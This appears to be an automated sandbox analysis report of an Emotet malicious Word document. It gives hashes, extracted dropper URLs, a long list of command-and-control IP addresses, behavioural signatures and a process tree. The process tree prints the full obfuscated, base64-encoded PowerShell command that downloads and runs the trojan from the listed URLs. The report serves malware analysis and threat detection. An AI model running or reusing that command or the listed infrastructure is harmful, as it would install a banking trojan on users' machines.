emotet | 3f78e8753bba77f894698a7713b1b8d9f616bb50a6bde110dbd587e83033f01d

Analysis

max time kernel
135s
max time network
145s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 14:31

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General

Target
emotet_e2_3f78e8753bba77f894698a7713b1b8d9f616bb50a6bde110dbd587e83033f01d_2020-08-19__142917._doc.doc
Size 253KB
Sample200819-srtetf4tas
SHA256 3f78e8753bba77f894698a7713b1b8d9f616bb50a6bde110dbd587e83033f01d
MD5 ffdedaf40ad24911f752bf4dc5ea24e1
SHA1 8a4a944b03f9a7c24c034209b9509e30e081923f
SHA512 20ddd1ebdadfeb43211147661d486ac13501fbf43477c7dc0d34effb4a1e204401f25172ab0a40e8a64f38a840ac82885e391fc3ea303ccd3c6cc7e3f00eb71a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://easma.cn/wp-admin/yy/
exe.dropper
https://adhd.org.sa/sub_mrs/Zj0ZrG/
exe.dropper
http://avanwilligen.nl/vo/tUbJ/
exe.dropper
http://archmedia.com.br/Blog/sVey/
exe.dropper
http://bhar.com.br/caurina/tE/
exe.dropper
http://radiacaoweb.com.br/ZxOf1E/
exe.dropper
http://ceyhunhurcan.com/revolution-addons/mRXi8NJ/

Extracted

Family

emotet

64.183.73.122:80
69.30.203.214:8080
67.205.85.243:8080
222.214.218.37:4143
104.236.246.93:8080
110.145.77.103:80
89.186.91.200:443
74.120.55.163:80
95.179.229.244:8080
70.167.215.250:8080
47.146.117.214:80
209.141.54.221:8080
24.43.99.75:80
103.86.49.11:8080
142.105.151.124:443
62.138.26.28:8080
24.179.13.119:80
37.187.72.193:8080
137.59.187.107:8080
97.82.79.83:80
24.137.76.62:80
121.124.124.40:7080
5.196.74.210:8080
81.2.235.111:8080
87.106.139.101:8080
173.62.217.22:443
24.233.112.152:80
87.106.136.232:8080
104.131.11.150:443
201.173.217.124:443
85.66.181.138:80
107.185.211.16:80
68.44.137.144:443
68.188.112.97:80
113.160.130.116:8443
5.39.91.110:7080
95.213.236.64:8080
181.211.11.242:80
188.83.220.2:443
181.230.116.163:80
85.152.162.105:80
104.131.44.150:8080
203.117.253.142:80
169.239.182.217:8080
72.12.127.184:443
75.139.38.211:80
85.105.205.77:8080
168.235.67.138:7080
204.197.146.48:80
200.41.121.90:80
2.58.16.85:7080
190.160.53.126:80
109.116.214.124:443
78.24.219.147:8080
37.70.8.161:80
74.208.45.104:8080
116.203.32.252:8080
185.94.252.104:443
180.92.239.110:8080
79.98.24.39:8080
167.86.90.214:8080
152.168.248.128:443
157.245.99.39:8080
91.211.88.52:7080
41.60.200.34:80
83.169.36.251:8080
37.139.21.175:8080
47.144.21.12:443
61.19.246.238:443
139.130.242.43:80
174.137.65.18:80
157.147.76.151:80
153.163.83.106:80
98.109.204.230:80
176.111.60.55:8080
189.212.199.126:443
62.75.141.82:80
93.51.50.171:8080
190.55.181.54:443
203.153.216.189:7080
109.74.5.95:8080
174.102.48.180:80
93.147.212.206:80
139.59.60.244:8080
46.105.131.79:8080
199.101.86.142:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2684	3940	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1284-17-0x0000000000590000-0x000000000059C000-memory.dmp	emotet
behavioral2/memory/1284-17-0x0000000000590000-0x000000000059C000-memory.dmp	emotet
behavioral2/memory/1704-20-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet
behavioral2/memory/1704-20-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	2684	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1284	Yy5m4s.exe
1704	PCPKsp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\srm_ps\PCPKsp.exe	Yy5m4s.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2684	powersheLL.exe
2684	powersheLL.exe
2684	powersheLL.exe
1704	PCPKsp.exe
1704	PCPKsp.exe
1704	PCPKsp.exe
1704	PCPKsp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2684	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
1284	Yy5m4s.exe
1284	Yy5m4s.exe
1704	PCPKsp.exe
1704	PCPKsp.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2684 wrote to memory of 1284	2684	powersheLL.exe	75
PID 2684 wrote to memory of 1284	2684	powersheLL.exe	75
PID 2684 wrote to memory of 1284	2684	powersheLL.exe	75
PID 1284 wrote to memory of 1704	1284	Yy5m4s.exe	76
PID 1284 wrote to memory of 1704	1284	Yy5m4s.exe	76
PID 1284 wrote to memory of 1704	1284	Yy5m4s.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_3f78e8753bba77f894698a7713b1b8d9f616bb50a6bde110dbd587e83033f01d_2020-08-19__142917._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3024

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABPADgAcQBkADEAZABmAD0AKAAnAFIAJwArACcAMAByAGoANQB6AF8AJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBGAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAYABSAGkAYABUAFkAYABQAFIATwBUAE8AYABjAE8AbAAiACAAPQAgACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAJwArACcAbABzADEAMQAsACcAKwAnACAAdABsAHMAJwApADsAJABMAGEAZAAyAG0AcgBqACAAPQAgACgAJwBZAHkAJwArACcANQBtADQAcwAnACkAOwAkAEsAdgBoAHUAMAB1AHEAPQAoACcAVQByAHcAaQBnACcAKwAnAGIAMwAnACkAOwAkAEUAZAB3ADgAZgBlADQAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHkATQBrAE8AZgBmAGkAJwArACcAYwAnACsAJwBlADIAMAAxADkAJwArACcAeQBNACcAKwAnAGsAJwApAC0AYwByAGUAcABsAGEAQwBlACcAeQBNAGsAJwAsAFsAQwBoAEEAcgBdADkAMgApACsAJABMAGEAZAAyAG0AcgBqACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABDADkANQBoAGgAeAB1AD0AKAAnAFQAYQAnACsAJwA5ADQAegB4ADkAJwApADsAJABRADQAZQBhAHAAbwBvAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMATABpAEUATgB0ADsAJABOAG8AeABfAF8AeQBoAD0AKAAnAGgAdAB0AHAAOgAvAC8AZQBhAHMAbQBhACcAKwAnAC4AJwArACcAYwBuAC8AdwAnACsAJwBwAC0AYQBkAG0AaQBuAC8AeQB5ACcAKwAnAC8AKgAnACsAJwBoAHQAdABwAHMAOgAvACcAKwAnAC8AYQBkAGgAZAAnACsAJwAuACcAKwAnAG8AcgBnAC4AcwBhAC8AcwB1AGIAXwBtAHIAcwAvAFoAagAwAFoAJwArACcAcgBHACcAKwAnAC8AKgBoAHQAdABwACcAKwAnADoALwAnACsAJwAvACcAKwAnAGEAdgAnACsAJwBhAG4AdwBpAGwAbABpAGcAJwArACcAZQBuAC4AbgBsAC8AdgAnACsAJwBvAC8AdABVAGIASgAnACsAJwAvACoAaAB0AHQAJwArACcAcAA6AC8ALwBhAHIAYwBoAG0AZQAnACsAJwBkAGkAJwArACcAYQAuACcAKwAnAGMAbwBtAC4AYgByAC8AQgBsAG8AZwAnACsAJwAvACcAKwAnAHMAVgBlAHkALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AYgBoAGEAcgAnACsAJwAuAGMAJwArACcAbwBtAC4AYgByAC8AYwBhAHUAcgBpAG4AYQAvAHQARQAvACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8ALwByAGEAZABpAGEAYwAnACsAJwBhACcAKwAnAG8AdwAnACsAJwBlACcAKwAnAGIALgBjAG8AbQAuAGIAcgAvAFoAeABPAGYAJwArACcAMQAnACsAJwBFAC8AKgBoAHQAdABwADoALwAvAGMAZQB5AGgAdQBuACcAKwAnAGgAdQByAGMAYQAnACsAJwBuAC4AYwBvAG0ALwByAGUAdgBvAGwAdQB0AGkAbwBuACcAKwAnAC0AYQBkAGQAbwBuAHMALwBtAFIAWAAnACsAJwBpADgATgAnACsAJwBKAC8AJwApAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAaQBiAHQAdAB0AGcAPQAoACcARwBhADEAJwArACcAMwAnACsAJwBoAHEANQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABHADIAXwA0AGMAcgA2ACAAaQBuACAAJABOAG8AeABfAF8AeQBoACkAewB0AHIAeQB7ACQAUQA0AGUAYQBwAG8AbwAuACIARABvAHcAYABOAEwAbwBBAGQARgBgAGkAbABlACIAKAAkAEcAMgBfADQAYwByADYALAAgACQARQBkAHcAOABmAGUANAApADsAJABFADkAMQBvAF8AawBxAD0AKAAnAEEAdgA0ACcAKwAnADAAJwArACcAdwB5AGoAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEUAZAB3ADgAZgBlADQAKQAuACIATABFAG4AYABnAGAAVABoACIAIAAtAGcAZQAgADIAMgA4ADMAMAApACAAewAuACgAJwBJAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABFAGQAdwA4AGYAZQA0ACkAOwAkAEEAZgA5AF8AaQBoAHYAPQAoACcATwBfAGcAOQAnACsAJwA0AHAAJwArACcAbAAnACkAOwBiAHIAZQBhAGsAOwAkAFYAdwAyADgAdAB2ADQAPQAoACcARwB0ADAAMgAnACsAJwBpACcAKwAnAHgAdgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABnAGsANwBmADAAPQAoACcARQAnACsAJwB4AHAAbABrADYAJwArACcAaAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2684
- C:\Users\Admin\AppData\Local\Temp\Office2019\Yy5m4s.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Yy5m4s.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\SysWOW64\srm_ps\PCPKsp.exe
    "C:\Windows\SysWOW64\srm_ps\PCPKsp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1704

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1284-17-0x0000000000590000-0x000000000059C000-memory.dmp

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memory/1704-20-0x00000000004F0000-0x00000000004FC000-memory.dmp

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memory/2684-11-0x00007FFF51F90000-0x00007FFF5297C000-memory.dmp

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memory/2684-13-0x00000244706F0000-0x00000244706F1000-memory.dmp

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memory/2684-12-0x0000024470420000-0x0000024470421000-memory.dmp

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memory/3024-5-0x000002AF891CC000-0x000002AF891DD000-memory.dmp

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memory/3024-10-0x000002AF8B8DD000-0x000002AF8B8E9000-memory.dmp

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memory/3024-9-0x000002AF8B8D2000-0x000002AF8B8DD000-memory.dmp

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memory/3024-8-0x000002AF8B81F000-0x000002AF8B825000-memory.dmp

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memory/3024-7-0x000002AF8B825000-0x000002AF8B830000-memory.dmp

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memory/3024-6-0x000002AF8B81F000-0x000002AF8B825000-memory.dmp

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memory/3024-0-0x00007FFF59CC0000-0x00007FFF5A386000-memory.dmp

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memory/3024-4-0x000002AF8B68D000-0x000002AF8B692000-memory.dmp

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memory/3024-3-0x000002AF8B68D000-0x000002AF8B692000-memory.dmp

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memory/3024-2-0x000002AF8B68D000-0x000002AF8B692000-memory.dmp

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memory/3024-1-0x000002AF8B68D000-0x000002AF8B692000-memory.dmp

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